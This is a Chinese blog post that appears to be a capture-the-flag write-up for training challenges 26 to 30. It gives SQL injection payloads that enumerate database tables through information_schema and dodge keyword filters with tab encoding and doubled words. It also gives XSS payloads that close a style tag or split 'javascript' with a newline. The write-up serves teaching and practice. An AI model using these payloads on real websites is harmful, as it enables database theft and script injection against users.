二向箔-百日打卡writeup26-30

NO.26

按照提示来依次访问one,two,three
在这里插入图片描述
访问two时则弹出了以下内容
在这里插入图片描述
尝试sql注入,输入one'%23正常回显(%23是#的url编码,前端不会把#以及#后的内容传输到后端,所以要经过url编码才能传输)在这里插入图片描述判断显示位order by [number]%23到5则报错,说明只有4个显示位
在这里插入图片描述
查看显示位-one' union select 1,2,3,4%23
在这里插入图片描述
查表-one' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()%23
在这里插入图片描述
查字段名-one' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='workbook'%23
在这里插入图片描述
根据排查id=6得到flag
在这里插入图片描述

NO.27

提示意思其实是告知输入的内容会在<style>标签中,还要使用<script>标签,意思就是让我们闭合<style>标签了
在这里插入图片描述尝试输入</style>,看是否能闭合
在这里插入图片描述试试大小写绕过<STYLE>
在这里插入图片描述

发现还是被过滤了,排除掉双写的方法,因为双写的办法DOM无法识别是一个标签,实现让DOM认识标签那么一定要保证标签的连贯性,也就是说至少要保证<style连贯的
在这里插入图片描述
我们尝试在<style后添加一些空字符,换行符等,<style+>,+号在url中代表空格,发现我们输入的值并不在<style>中,那么可能是闭合了
在这里插入图片描述
添加xss语句:</style+><script>alert(1)</script>
在这里插入图片描述成功弹窗!

NO.28

还是xss
在这里插入图片描述
这次是会将输入的值放在一个超链接,那么可以考虑用<a href=javascript:alert(1)>来触发弹窗
在这里插入图片描述javascript被添加了"_",无法触发弹窗,可以在javascript中加入换行符%0a,javascr%0aipt:alert(1)
在这里插入图片描述触发弹窗

NO.29

也是xss
在这里插入图片描述
这道题和28题思路也是一样的,同样是<a href=javascr%0aipt:alert(1)>
![在这里插入图片描述](https://img-blog.csdnimg.cn/a83d275548884b87accc4cb28d9b9a07.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBAYmVpcnJ5,size_20,color_FFFFFF,t_70,g_se,x_1

NO.30

提示也很明显了,sql注入
在这里插入图片描述
首先判断查询的内容是什么类型(字符型,数字型)
在这里插入图片描述
那么很明显就是数字类型了,可以用and来判断png=1 and 1#
在这里插入图片描述结果报错了,空格被替换成了<>,and估计也被过滤了;空格利用%09绕过,and双写尝试绕过;png=1%09aandnd%091#
在这里插入图片描述
查看显示位:png=1%09order%09by%091#
在这里插入图片描述发现or被删掉了,那么重写or:png=1%09oorrder%09by%091#
在这里插入图片描述一直增加到4,页面报错,所以显示位有3个
在这里插入图片描述

查找显示位png=0%09union%09select%091,2,3#
在这里插入图片描述
查表:
png=0%09union%09select%091,2,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()#
在这里插入图片描述
发现又被过滤了,定位到“tables”,直接拿出来单独测试png=0%09union%09select%091,2,information_schema.tables
在这里插入图片描述又被过滤了,重写or绕过png=0%09union%09select%091,2,infoorrmation_schema.tables
在这里插入图片描述
再次查表:
png=0%09union%09select%091,2,group_concat(table_name)%09from%09infoorrmation_schema.tables%09where%09table_schema=database()#
在这里插入图片描述查字段名:
png=0%09union%09select%091,2,group_concat(column_name)%09from%09infoorrmation_schema.columns%09where%09table_name='bluesky'#
在这里插入图片描述查字段:png=0%09union%09select%09id,sky1,sky2%09from%09bluesky#
在这里插入图片描述得到flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

beirry

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值